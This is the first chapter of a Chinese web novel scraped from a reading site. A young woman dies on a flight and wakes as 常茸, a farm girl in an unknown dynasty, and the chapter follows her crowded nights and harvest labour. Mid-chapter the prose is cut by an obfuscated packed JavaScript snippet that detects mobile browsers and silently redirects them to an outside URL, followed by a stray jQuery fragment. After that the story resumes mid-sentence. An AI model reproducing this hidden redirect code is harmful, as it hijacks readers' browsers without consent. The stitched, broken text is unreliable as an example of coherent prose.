默认冷灰
24号文字
方正启体

1. 从芝芝到茸茸

作者:简梦昵本书字数:K更新时间:
    外面雨下得大,经风一吹,零星几滴飘进客厅,老妈顾不上争执,先起身去关窗。


    大姨瞅着妹妹的背影,嗓门震天响:“芝芝,你听我的,去留学!学费大姨出!”


    作为富婆,经济基础决定家族地位,她说话特别“好使”,但不包括在亲妹妹这里。


    只见老妈利落关好窗,居高临下跟姐姐对视,寸步不让:“国外有什么好的,我准备让她考研。”作为政治老师,她天然反感留学论。


    大姨见气势被压制,也站起身来:“我说你教了一辈子书,眼界就这么点。考研考研,学历就那么重要?芝芝学的西班牙语,不融入语言环境,再上多少年学都一样。去了国外,保管她一两年就能说一口纯正的外语,回国后找工作就容易了。”这是她会三门外语的亲身感受。


    这话说的很现实,老妈一下子没的接,老爸这才插进去嘴:“你们两个坐下说嘛,又不是吵架,声音都小点。”他递茶,“大姐喝杯茶,大家心平气和地聊。”


    大姨见好就收,敛容而坐,翘着小拇指优雅地喝茶,余光扫视着妹妹,慢慢溢出笑来。


    “都是你这死丫头,不听我的话去读师范,好端端选个稀奇古怪的专业,你完蛋了!”老妈把怒火烧向安静如鸡的芝芝,突然一把扯住芝芝的头发开骂。


    芝芝:“嘶——”好痛!


    扯头发?老妈打她从来都是上巴掌,为什么会扯头发!


    芝芝下意识伸手就挡。


    耳边顿时响起了多重奏。


    “呜啊啊——娘,二姐打我!”这是睡在身侧的小妹在嚎叫。


    “哇儿哇儿——”这是被小妹惊醒的侄女儿在啼哭。


    “喔喔~玉儿不怕不怕,娘在,乖乖睡觉觉。”这是大嫂哄女儿的声音。


    “你两个死姑娘瞌睡不好好睡,大半夜吵吵,再大声,我起来一个给你们几棍子吃!”这是吴佳香中气十足的训斥。


    芝芝猛地睁开眼睛,脑子说不出的清明。


    古代木头房子,楼上楼下打呼磨牙声都能听到,在这清凉的夜里反复提醒她,她不但出国了,还回不去了。


    芝芝心想:“是的,老妈说的没错。我完蛋了……”


    “你还哭,睡觉不老实,居然扯我头发!”芝芝暴躁地踢了一脚小妹,换来她更大的哭喊声。


    常萍赶紧睡到中间隔开两人:“再吵娘真上来了。”


    在大嫂的安抚下,玉儿哭声渐弱,一家子重入睡梦。


    只有芝芝睁着大眼睛瞪着黑暗中的房梁,今晚注定无眠了。之前总怀有希望——她在飞机上睡着了来到这里,说不定哪天就能在这里睡着了回到飞机上呢。


    二十九天了,一天天过去,一天天“梦醒”。


    “咯咯喔~咯!”


    她穿到未知朝代的第三十天,在鸡鸣声中到来了。


    第一只鸡鸣后,村里的公鸡此起彼伏地叫了起来。


    天还黑着,楼下隐约有了动静,那是吴佳香最先起床了。


    舀水声,烧火声,洗脸声,泼水声……芝芝不知不觉睡着了。


    她是被人掐醒的。


    罪魁祸首正站在床边朝她龇牙咧嘴地做怪动作。


    芝芝气道:“常鹅你个熊孩子!”要不是还没完全掌握土话,她都要念紧箍咒了。


    “常茸,懒姑娘起床了!”熊孩子“二姐”也不叫了,努努鼻子,哈哈大笑着跑下楼去了。


    农村比狗讨嫌的是什么?是大公鸡,是大鹅,是熊孩子。


    初听常鹅名字时,芝芝还以为她穿越到神话故事里了,谁知此“鹅”非彼“娥”,盖因吴佳香怀胎九月的时候,被家里的大白鹅绊倒早产了,好在平安生下孩子,遂给小女起名“鹅”,大白鹅也被杀了给吴佳香补身子。


    常鹅是早产儿,吴佳香生她伤了身子,坐月子都坐了两个月,她婴幼儿时期也是小病不断,家里唯恐带不大她,一直呵护着。从小是个夜哭娘,长大是个淘气包,不负“鹅”的熊名。


    “茸茸,该起了!”楼下传来大嫂孟氏的叫喊声。


    “晓得了。”芝芝懒洋洋地应了一声。


    曾经的芝芝、现在的茸茸慢条斯理地穿好衣裳,把被子叠好,这张四尺宽的合成床,她足足一个月都没睡习惯。


    想她曾睡的是一米八的床盖两米宽的被,现在却要三个人挤两床被子不说,还会在半夜莫名其妙被东踹一脚西揍一拳。


    走在楼上,“咯吱咯吱”一步一响。


    整栋木房子结构简单,二楼四间卧室,东面父母一间、大哥大嫂侄女一间,西面二哥一间、三姐妹一间,每间面积绝不超过十五平。中间是天井,一侧有楼梯下去。楼下一间堂屋,一间厨房,一个储物间。


    古色古香,不,是土色土香。


    就这,已经是村里第三了不得的人家了。


    第一第二也不是别人,是常茸的大伯和小叔家。


    楼梯只有脚掌宽,常茸半闭着眼睛就下了楼,与初来时小心翼翼抓扶梯形成鲜明对比。


    人的适应力果然可怕。


    就不知道习惯三个人睡一张床需要多久了,她觉得是一辈子都不行的。


    孟锦娘在翻晾竹匾上的党参。


    采药是家里最主要的经济来源。


    说到采药,就不得不提到原身那有勇有谋的祖父常仲寅,他年轻时候在城里药铺做短工,靠“偷师”,认识了一些常见中药,背得两个药方,回村摇身一变成了乡下土郎中。


    他把大儿子培养成了真正的乡下郎中,父子再接再厉,又把大孙子送进城里医馆当药童,如今已是半个坐堂大夫了。因而大伯父家是第一了不得的人家。


    此地风俗是小儿子成家就分家,老人自己决定跟哪家。常仲寅选择跟小儿子住,所以小叔家是第二了不得的人家。


    至于常茸的父亲常怀山,不通医理,绝了奋进的路,好在认得几种常见药,不辞辛劳去山里采来,托堂侄子卖给医馆。比起只能从地里刨食的,有副业的他家日子称得上衣食无忧。


    常茸洗了脸反而一脸漆黑,因为她该去地里了!


    三个男人名下有一百多亩地,即便有一半轮作,也要种上五六十亩,除了吃饭时间,农民真是见天的在地里忙活。


    当农民可不是在搞农家乐,别说一个月,常茸两辈子都做不习惯,比三个人睡一张床还不习惯!


    九月是收货的季节,先收大豆,再收花生,紧接着要种麦子。


    本土农民痛并快乐着,而常茸只有痛,没有快乐。


    这一个月来,她每天精神萎靡,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530561|203678||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    害吴佳香以为她不舒服,刚开始的几天特意让她多睡了一小会儿,时间长了才察觉出她是懒病犯了,喜获一顿骂。


    重复着一把一把拔豆秧子的机械工作,常茸特别痛苦,她总觉得手心起泡了,抬起一看,只有老茧,是原身体的经验证明。


    汗水一颗一颗滴落,再热她也只敢掀开草帽扇扇风接着戴上,秋老虎特别厉害,直接晒着可能会中暑、可能会晒黑、可能会脱皮……


    吴佳香捆紧一把豆秧,勒紧背篓的绳索,协助大儿子背起来,擦了擦额头的汗,招呼孩子们:“先回家吃饭。”


    常鹅尖叫一声就往家跑了。


    常茸埋头赶路,累得话都不想多说一句,心里狂背:


    “足蒸暑土气,背灼炎天光,力尽不知热,但惜夏日长。”


    “春种一粒粟,秋收万颗子,四海无闲田,农夫犹饿。”


    “兴,百姓苦;亡,百姓苦。”


    “种豆南山下,草盛豆苗稀。晨兴理荒秽,带月荷锄归。道狭草木长,夕露沾我衣。沾不足惜,但使呸呸呸!”


    默默发了一会儿疯,感觉精神好多了。一进家门吹了个穿堂风,常茸不禁定下了脚步享受起来,被吴佳香一巴掌拍开:“小心给你吹病了,进屋去。”


    想想古代的医疗水平,常茸听话进屋。


    午饭吃的二米饭——粟米和麦米,他们家没有种粟米,是拿大豆跟别家换的。一菜:炒咸菜,一汤:青菜汤。


    常茸面无表情地添第二碗,心里吐槽:妈妈再也不用担心我的胃口啦!如果现在有肉,我她能吃下一碗,还是肥肉!


    听说留子会进化出两项绝技之一或两样,一是什么都会做,二是什么都能吃。确定留学后,家人担心她吃不惯外国菜,她自己是抗拒“什么都能吃”的,遂紧急修炼两月厨艺,力求“什么都会做”。


    万万没想到,她进化出来第三项技能,现在是“什么都想吃”。


    吃了饭,还是大嫂孟锦娘去洗碗。农忙时候,都是她负责两餐家务,还要带孩子、喂鸡喂猪,同样很辛苦。


    大家都有点犯食困,却不能随心所欲地去休息,或蹲着或坐着处理院里的大豆。


    吴佳香提着扫把又扫了一遍灰土,便于豆荚摘下来干净地晾晒。


    豆秆还有用,一部分扔圈里给猪睡堆肥,大部分留着烧火,草木灰也是好东西,洗衣洗碗做肥都合适。不仅如此,豆荚晒干后捶打下来,筛出的糠和壳各也有用处。


    摘了一个多时辰,常怀山拍拍屁股站起来:“没那么热了,今天要把梁子上的全部收回来。”


    你确定?两三点钟的太阳是最晒的时候好吧。常茸差点脱口而出,但她不敢。


    她终于知道为什么古人能够在只靠双手的情况下,一人能种几十亩地。


    “我真傻,真的。我不应该仗着有点语言天赋,读什么西语的。当初应该听老妈的话,随便报一个师范专业,老老实实当个有寒暑假的老师。退一万步讲,考研也不错的。但凡我做了以上任何一个选择,都不会坐上那架飞机。当然没有怪亲亲大姨的意思,她现在肯定比谁都难受,妹妹一家三口遇难,她肯定会怪在自己头上。”


    常茸后悔的泪水从额头流了下来,在地上摔成一个八瓣、两个八瓣、三个八瓣……
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)